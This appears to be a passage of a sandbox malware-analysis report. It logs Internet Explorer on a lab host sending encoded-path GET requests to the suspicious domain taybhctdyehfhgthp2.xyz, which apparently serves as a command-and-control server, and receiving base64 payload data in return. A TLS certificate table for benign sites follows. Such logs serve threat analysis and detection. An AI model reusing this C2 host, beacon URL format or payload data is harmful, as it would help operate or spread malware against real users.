Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49821	45.90.58.179	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:31:37.986078024 CEST	6422	OUT	GET /jdraw/gtqnX1_2BBrthQ/u3Ow9U77gyB4yz7FWcMqW/MB7b6_2BOONkcuHq/pp1MQOLvSN1p_2B/FV7Pm6a31d2J5lSN_2/BzGSBLJoW/mkH_2B1SqUGsLgri21vM/sTm8rqFhIKFyjhSMnfS/eOIuSlx61lzuK1AdQtpcLd/ecP_2F2TO_2Bj/KaylSIXS/u6E6oRIpMJVadVClzcxwIS_/2BHj1Xmv/hc.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Jul 6, 2021 14:31:38.043438911 CEST	6425	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:38 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 2460 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 65 68 58 6c 64 53 77 58 51 69 59 4c 61 47 7a 6e 51 4e 35 59 46 37 72 33 4c 2f 65 66 4f 4c 62 34 4c 6e 5a 31 6f 41 59 70 74 38 6c 67 50 47 50 65 2f 67 66 38 2f 44 47 54 62 56 36 6d 37 59 77 70 55 52 33 4d 57 6f 32 55 74 4b 64 44 6d 46 34 41 50 43 46 72 61 4a 52 45 77 6c 4a 57 6e 6b 6f 62 38 53 73 51 4e 4a 68 72 79 77 76 4b 71 77 2b 62 53 6f 6f 48 59 75 77 6c 49 42 6b 6e 4f 64 73 70 58 39 45 51 65 33 53 76 39 65 2b 4d 4a 47 7a 42 55 56 30 68 61 45 44 62 61 30 58 41 6b 4f 62 75 44 59 4e 52 6a 31 38 78 6e 4e 69 58 69 36 57 73 36 30 50 6a 63 30 2f 48 55 30 69 39 62 4c 52 70 52 67 35 39 53 54 6b 55 71 46 47 73 38 43 34 31 32 48 31 78 56 64 6d 63 35 64 32 76 72 72 77 31 57 37 32 36 78 64 78 4c 4a 62 42 35 50 72 59 69 50 6f 4d 41 50 31 59 4e 39 50 2b 4b 59 7a 6d 6c 4f 56 47 4b 65 49 76 66 69 4b 79 64 4e 37 61 78 79 55 71 35 2f 77 70 67 41 53 47 2b 2f 30 71 4f 41 61 30 6f 65 53 68 35 51 36 7a 34 4c 65 39 31 58 37 6f 34 32 6a 6d 4f 51 6e 69 53 77 63 2f 41 6e 59 66 6c 6c 67 45 4c 2b 58 5a 2f 69 6f 55 59 4e 69 62 4a 56 6f 58 44 36 65 69 58 4f 6c 37 4d 4f 4b 61 70 79 31 42 62 2b 47 79 77 7a 79 38 74 50 5a 6a 34 54 6b 7a 4f 67 2f 6b 44 6f 6c 43 7a 6d 4b 73 33 50 75 62 48 4c 41 42 34 65 6a 51 45 44 2f 38 66 51 51 6b 46 71 39 50 41 69 59 78 75 70 44 6e 55 69 43 58 67 39 37 76 41 51 42 75 53 4a 73 46 6a 39 6b 37 53 62 51 66 35 6c 72 55 46 54 32 39 6f 50 58 57 41 46 4f 2b 69 76 49 39 54 4c 56 53 36 47 4d 35 56 31 56 51 37 33 4a 46 7a 34 30 48 38 57 35 6a 33 6d 4b 44 73 2b 4c 6b 39 2f 79 70 4e 53 51 52 62 45 41 69 74 6d 49 30 4c 36 39 76 2f 4f 70 79 43 5a 66 77 32 62 4c 72 33 55 4d 6a 79 51 36 6a 63 34 37 32 75 52 54 42 6a 6c 75 6b 74 59 75 4a 4b 74 4f 78 6d 6c 30 6b 46 61 4d 35 4f 51 48 61 6e 43 4b 55 46 55 44 30 5a 45 72 34 31 4f 62 4d 48 67 66 54 4c 41 2b 47 56 51 41 43 32 4d 34 69 36 6f 52 58 62 33 2f 46 44 37 4f 37 71 36 49 71 6e 75 6e 55 33 57 36 78 6f 36 46 6b 6b 77 78 4d 77 46 61 39 33 54 7a 62 49 35 6c 55 36 75 59 6e 59 2b 6b 4c 59 52 51 62 79 54 46 56 33 5a 6d 49 70 4e 70 75 2f 74 7a 50 41 32 5a 41 6b 4e 32 53 4a 74 61 54 66 4d 4f 62 71 67 57 65 69 49 56 57 5a 44 49 36 59 5a 34 50 65 6f 59 56 47 56 50 54 78 56 6f 39 7a 56 57 65 35 58 36 7a 51 72 71 57 43 47 47 45 69 77 4c 5a 51 4c 45 78 76 6a 63 76 4a 35 2b 55 6c 77 36 4a 57 38 73 32 39 73 37 34 6b 63 38 56 6f 42 78 30 68 74 36 57 56 64 70 62 59 30 30 63 44 66 76 5a 6c 71 50 5a 45 79 44 6a 75 54 68 38 30 67 77 61 4d 30 52 54 67 69 31 79 61 78 2f 44 41 4b 34 30 63 59 37 57 6e 72 64 2f 53 6e 66 64 30 6d 51 68 62 65 6d 48 32 6d 63 73 53 43 45 44 6c 56 32 47 69 59 50 6c 46 6e 6f 6a 7a 38 56 79 53 52 7a 5a 75 42 34 39 6e 6a 76 38 54 76 72 69 37 48 65 57 53 52 6e 49 33 73 47 51 76 45 6a 37 42 4c 33 54 48 55 48 2f 4e 48 58 51 4c 45 4e 4f 71 5a 6b 49 63 78 4a 51 43 71 78 4c 48 6a 6f 66 61 58 65 47 4c 38 64 49 49 52 45 32 4a 32 33 63 4b 4e 72 2f 32 56 34 74 63 66 44 79 31 52 59 4a 2b 2b 6d 74 Data Ascii: ehXldSwXQiYLaGznQN5YF7r3L/efOLb4LnZ1oAYpt8lgPGPe/gf8/DGTbV6m7YwpUR3MWo2UtKdDmF4APCFraJREwlJWnkob8SsQNJhrywvKqw+bSooHYuwlIBknOdspX9EQe3Sv9e+MJGzBUV0haEDba0XAkObuDYNRj18xnNiXi6Ws60Pjc0/HU0i9bLRpRg59STkUqFGs8C412H1xVdmc5d2vrrw1W726xdxLJbB5PrYiPoMAP1YN9P+KYzmlOVGKeIvfiKydN7axyUq5/wpgASG+/0qOAa0oeSh5Q6z4Le91X7o42jmOQniSwc/AnYfllgEL+XZ/ioUYNibJVoXD6eiXOl7MOKapy1Bb+Gywzy8tPZj4TkzOg/kDolCzmKs3PubHLAB4ejQED/8fQQkFq9PAiYxupDnUiCXg97vAQBuSJsFj9k7SbQf5lrUFT29oPXWAFO+ivI9TLVS6GM5V1VQ73JFz40H8W5j3mKDs+Lk9/ypNSQRbEAitmI0L69v/OpyCZfw2bLr3UMjyQ6jc472uRTBjluktYuJKtOxml0kFaM5OQHanCKUFUD0ZEr41ObMHgfTLA+GVQAC2M4i6oRXb3/FD7O7q6IqnunU3W6xo6FkkwxMwFa93TzbI5lU6uYnY+kLYRQbyTFV3ZmIpNpu/tzPA2ZAkN2SJtaTfMObqgWeiIVWZDI6YZ4PeoYVGVPTxVo9zVWe5X6zQrqWCGGEiwLZQLExvjcvJ5+Ulw6JW8s29s74kc8VoBx0ht6WVdpbY00cDfvZlqPZEyDjuTh80gwaM0RTgi1yax/DAK40cY7Wnrd/Snfd0mQhbemH2mcsSCEDlV2GiYPlFnojz8VySRzZuB49njv8Tvri7HeWSRnI3sGQvEj7BL3THUH/NHXQLENOqZkIcxJQCqxLHjofaXeGL8dIIRE2J23cKNr/2V4tcfDy1RYJ++mt
Jul 6, 2021 14:31:38.043467045 CEST	6426	IN	Data Raw: 2f 6d 64 72 5a 4a 47 75 36 31 4b 37 74 5a 74 30 79 51 6c 58 53 37 4b 38 53 4b 74 6e 45 4a 6a 65 69 7a 6b 69 59 77 63 42 30 55 65 5a 56 6c 67 71 65 6f 31 2f 38 6b 75 56 41 30 4e 6a 54 76 47 4d 4e 32 33 46 43 2b 4d 33 69 6c 31 54 38 6e 37 5a 4b 63 Data Ascii: /mdrZJGu61K7tZt0yQlXS7K8SKtnEJjeizkiYwcB0UeZVlgqeo1/8kuVA0NjTvGMN23FC+M3il1T8n7ZKc44+djUayVI/op4pJ2ho/CgevvltNpiydA977+rhfW6qecYF914GIkD9lL43w6g+RXlEv+VNofGPOWkUwHp7NgmX1EkmzF5VnbiLDzjYsV2HAvW2rLUmnY3H25wJTXtvITM/t3mZlF6iCRMebU+R8vWKKFlRWRZp5A
Jul 6, 2021 14:31:38.043486118 CEST	6426	IN	Data Raw: 57 6b 45 72 38 4a 4f 4a 6e 52 57 51 4b 52 50 6b 73 42 78 6b 30 2f 4b 57 6b 6b 66 68 34 72 47 33 2f 78 55 75 6f 43 47 55 6b 6e 79 46 59 5a 77 6f 68 4f 68 6a 31 6f 50 4d 34 52 45 51 71 30 68 33 42 71 41 6c 79 77 69 7a 4c 76 65 70 56 63 41 47 57 4b Data Ascii: WkEr8JOJnRWQKRPksBxk0/KWkkfh4rG3/xUuoCGUknyFYZwohOhj1oPM4REQq0h3BqAlywizLvepVcAGWKJApsZZyB9AscV1drNtOwZXQUFcZy2nBHw6ngXHL/FywHGyCnITp2zY1z6Rxv1cXaqlTP6cdmRpLZyx3g=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49824	45.90.58.179	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:31:38.015767097 CEST	6423	OUT	GET /jdraw/WEqyJQ4Nq2nQ9ndVH/biMw8nJM827T/xrW3osP_2Bm/N3LwbnFmUNMeEO/_2FGDUp6Oi5jXD7I8Ab8U/gK4SwCYPiUPEkaUo/PrkNmh92vqxkb0v/PCnqPml9BaZFVRBIe_/2B22S8HAh/d9Tx35KtPfkXAbAsIuzf/2WiITh1H39IL9oWAn14/Ato1qcOoaQdDf8WbLtN5nh/4DNa.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Jul 6, 2021 14:31:38.079684973 CEST	6428	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:38 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 2460 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 65 68 58 6c 64 53 77 58 51 69 59 4c 61 47 7a 6e 51 4e 35 59 46 37 72 33 4c 2f 65 66 4f 4c 62 34 4c 6e 5a 31 6f 41 59 70 74 38 6c 67 50 47 50 65 2f 67 66 38 2f 44 47 54 62 56 36 6d 37 59 77 70 55 52 33 4d 57 6f 32 55 74 4b 64 44 6d 46 34 41 50 43 46 72 61 4a 52 45 77 6c 4a 57 6e 6b 6f 62 38 53 73 51 4e 4a 68 72 79 77 76 4b 71 77 2b 62 53 6f 6f 48 59 75 77 6c 49 42 6b 6e 4f 64 73 70 58 39 45 51 65 33 53 76 39 65 2b 4d 4a 47 7a 42 55 56 30 68 61 45 44 62 61 30 58 41 6b 4f 62 75 44 59 4e 52 6a 31 38 78 6e 4e 69 58 69 36 57 73 36 30 50 6a 63 30 2f 48 55 30 69 39 62 4c 52 70 52 67 35 39 53 54 6b 55 71 46 47 73 38 43 34 31 32 48 31 78 56 64 6d 63 35 64 32 76 72 72 77 31 57 37 32 36 78 64 78 4c 4a 62 42 35 50 72 59 69 50 6f 4d 41 50 31 59 4e 39 50 2b 4b 59 7a 6d 6c 4f 56 47 4b 65 49 76 66 69 4b 79 64 4e 37 61 78 79 55 71 35 2f 77 70 67 41 53 47 2b 2f 30 71 4f 41 61 30 6f 65 53 68 35 51 36 7a 34 4c 65 39 31 58 37 6f 34 32 6a 6d 4f 51 6e 69 53 77 63 2f 41 6e 59 66 6c 6c 67 45 4c 2b 58 5a 2f 69 6f 55 59 4e 69 62 4a 56 6f 58 44 36 65 69 58 4f 6c 37 4d 4f 4b 61 70 79 31 42 62 2b 47 79 77 7a 79 38 74 50 5a 6a 34 54 6b 7a 4f 67 2f 6b 44 6f 6c 43 7a 6d 4b 73 33 50 75 62 48 4c 41 42 34 65 6a 51 45 44 2f 38 66 51 51 6b 46 71 39 50 41 69 59 78 75 70 44 6e 55 69 43 58 67 39 37 76 41 51 42 75 53 4a 73 46 6a 39 6b 37 53 62 51 66 35 6c 72 55 46 54 32 39 6f 50 58 57 41 46 4f 2b 69 76 49 39 54 4c 56 53 36 47 4d 35 56 31 56 51 37 33 4a 46 7a 34 30 48 38 57 35 6a 33 6d 4b 44 73 2b 4c 6b 39 2f 79 70 4e 53 51 52 62 45 41 69 74 6d 49 30 4c 36 39 76 2f 4f 70 79 43 5a 66 77 32 62 4c 72 33 55 4d 6a 79 51 36 6a 63 34 37 32 75 52 54 42 6a 6c 75 6b 74 59 75 4a 4b 74 4f 78 6d 6c 30 6b 46 61 4d 35 4f 51 48 61 6e 43 4b 55 46 55 44 30 5a 45 72 34 31 4f 62 4d 48 67 66 54 4c 41 2b 47 56 51 41 43 32 4d 34 69 36 6f 52 58 62 33 2f 46 44 37 4f 37 71 36 49 71 6e 75 6e 55 33 57 36 78 6f 36 46 6b 6b 77 78 4d 77 46 61 39 33 54 7a 62 49 35 6c 55 36 75 59 6e 59 2b 6b 4c 59 52 51 62 79 54 46 56 33 5a 6d 49 70 4e 70 75 2f 74 7a 50 41 32 5a 41 6b 4e 32 53 4a 74 61 54 66 4d 4f 62 71 67 57 65 69 49 56 57 5a 44 49 36 59 5a 34 50 65 6f 59 56 47 56 50 54 78 56 6f 39 7a 56 57 65 35 58 36 7a 51 72 71 57 43 47 47 45 69 77 4c 5a 51 4c 45 78 76 6a 63 76 4a 35 2b 55 6c 77 36 4a 57 38 73 32 39 73 37 34 6b 63 38 56 6f 42 78 30 68 74 36 57 56 64 70 62 59 30 30 63 44 66 76 5a 6c 71 50 5a 45 79 44 6a 75 54 68 38 30 67 77 61 4d 30 52 54 67 69 31 79 61 78 2f 44 41 4b 34 30 63 59 37 57 6e 72 64 2f 53 6e 66 64 30 6d 51 68 62 65 6d 48 32 6d 63 73 53 43 45 44 6c 56 32 47 69 59 50 6c 46 6e 6f 6a 7a 38 56 79 53 52 7a 5a 75 42 34 39 6e 6a 76 38 54 76 72 69 37 48 65 57 53 52 6e 49 33 73 47 51 76 45 6a 37 42 4c 33 54 48 55 48 2f 4e 48 58 51 4c 45 4e 4f 71 5a 6b 49 63 78 4a 51 43 71 78 4c 48 6a 6f 66 61 58 65 47 4c 38 64 49 49 52 45 32 4a 32 33 63 4b 4e 72 2f 32 56 34 74 63 66 44 79 31 52 59 4a 2b 2b 6d 74 Data Ascii: ehXldSwXQiYLaGznQN5YF7r3L/efOLb4LnZ1oAYpt8lgPGPe/gf8/DGTbV6m7YwpUR3MWo2UtKdDmF4APCFraJREwlJWnkob8SsQNJhrywvKqw+bSooHYuwlIBknOdspX9EQe3Sv9e+MJGzBUV0haEDba0XAkObuDYNRj18xnNiXi6Ws60Pjc0/HU0i9bLRpRg59STkUqFGs8C412H1xVdmc5d2vrrw1W726xdxLJbB5PrYiPoMAP1YN9P+KYzmlOVGKeIvfiKydN7axyUq5/wpgASG+/0qOAa0oeSh5Q6z4Le91X7o42jmOQniSwc/AnYfllgEL+XZ/ioUYNibJVoXD6eiXOl7MOKapy1Bb+Gywzy8tPZj4TkzOg/kDolCzmKs3PubHLAB4ejQED/8fQQkFq9PAiYxupDnUiCXg97vAQBuSJsFj9k7SbQf5lrUFT29oPXWAFO+ivI9TLVS6GM5V1VQ73JFz40H8W5j3mKDs+Lk9/ypNSQRbEAitmI0L69v/OpyCZfw2bLr3UMjyQ6jc472uRTBjluktYuJKtOxml0kFaM5OQHanCKUFUD0ZEr41ObMHgfTLA+GVQAC2M4i6oRXb3/FD7O7q6IqnunU3W6xo6FkkwxMwFa93TzbI5lU6uYnY+kLYRQbyTFV3ZmIpNpu/tzPA2ZAkN2SJtaTfMObqgWeiIVWZDI6YZ4PeoYVGVPTxVo9zVWe5X6zQrqWCGGEiwLZQLExvjcvJ5+Ulw6JW8s29s74kc8VoBx0ht6WVdpbY00cDfvZlqPZEyDjuTh80gwaM0RTgi1yax/DAK40cY7Wnrd/Snfd0mQhbemH2mcsSCEDlV2GiYPlFnojz8VySRzZuB49njv8Tvri7HeWSRnI3sGQvEj7BL3THUH/NHXQLENOqZkIcxJQCqxLHjofaXeGL8dIIRE2J23cKNr/2V4tcfDy1RYJ++mt
Jul 6, 2021 14:31:38.079704046 CEST	6429	IN	Data Raw: 2f 6d 64 72 5a 4a 47 75 36 31 4b 37 74 5a 74 30 79 51 6c 58 53 37 4b 38 53 4b 74 6e 45 4a 6a 65 69 7a 6b 69 59 77 63 42 30 55 65 5a 56 6c 67 71 65 6f 31 2f 38 6b 75 56 41 30 4e 6a 54 76 47 4d 4e 32 33 46 43 2b 4d 33 69 6c 31 54 38 6e 37 5a 4b 63 Data Ascii: /mdrZJGu61K7tZt0yQlXS7K8SKtnEJjeizkiYwcB0UeZVlgqeo1/8kuVA0NjTvGMN23FC+M3il1T8n7ZKc44+djUayVI/op4pJ2ho/CgevvltNpiydA977+rhfW6qecYF914GIkD9lL43w6g+RXlEv+VNofGPOWkUwHp7NgmX1EkmzF5VnbiLDzjYsV2HAvW2rLUmnY3H25wJTXtvITM/t3mZlF6iCRMebU+R8vWKKFlRWRZp5A
Jul 6, 2021 14:31:38.079720974 CEST	6429	IN	Data Raw: 57 6b 45 72 38 4a 4f 4a 6e 52 57 51 4b 52 50 6b 73 42 78 6b 30 2f 4b 57 6b 6b 66 68 34 72 47 33 2f 78 55 75 6f 43 47 55 6b 6e 79 46 59 5a 77 6f 68 4f 68 6a 31 6f 50 4d 34 52 45 51 71 30 68 33 42 71 41 6c 79 77 69 7a 4c 76 65 70 56 63 41 47 57 4b Data Ascii: WkEr8JOJnRWQKRPksBxk0/KWkkfh4rG3/xUuoCGUknyFYZwohOhj1oPM4REQq0h3BqAlywizLvepVcAGWKJApsZZyB9AscV1drNtOwZXQUFcZy2nBHw6ngXHL/FywHGyCnITp2zY1z6Rxv1cXaqlTP6cdmRpLZyx3g=

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jul 6, 2021 14:29:43.925901890 CEST	104.20.185.68	443	192.168.2.5	49699	CN=onetrust.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri Feb 12 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Sat Feb 12 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:43.925901890 CEST	104.20.185.68	443	192.168.2.5	49699	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:43.932447910 CEST	104.20.185.68	443	192.168.2.5	49700	CN=onetrust.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri Feb 12 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Sat Feb 12 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:43.932447910 CEST	104.20.185.68	443	192.168.2.5	49700	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.302778006 CEST	151.101.1.44	443	192.168.2.5	49715	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.302778006 CEST	151.101.1.44	443	192.168.2.5	49715	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.303605080 CEST	151.101.1.44	443	192.168.2.5	49713	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.303605080 CEST	151.101.1.44	443	192.168.2.5	49713	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.303843975 CEST	151.101.1.44	443	192.168.2.5	49714	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.303843975 CEST	151.101.1.44	443	192.168.2.5	49714	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.303980112 CEST	151.101.1.44	443	192.168.2.5	49716	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.303980112 CEST	151.101.1.44	443	192.168.2.5	49716	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.304637909 CEST	151.101.1.44	443	192.168.2.5	49717	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.304637909 CEST	151.101.1.44	443	192.168.2.5	49717	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.306684971 CEST	151.101.1.44	443	192.168.2.5	49718	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:29:49.306684971 CEST	151.101.1.44	443	192.168.2.5	49718	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:54.443732023 CEST	82.165.229.87	443	192.168.2.5	49745	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:54.443732023 CEST	82.165.229.87	443	192.168.2.5	49745	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
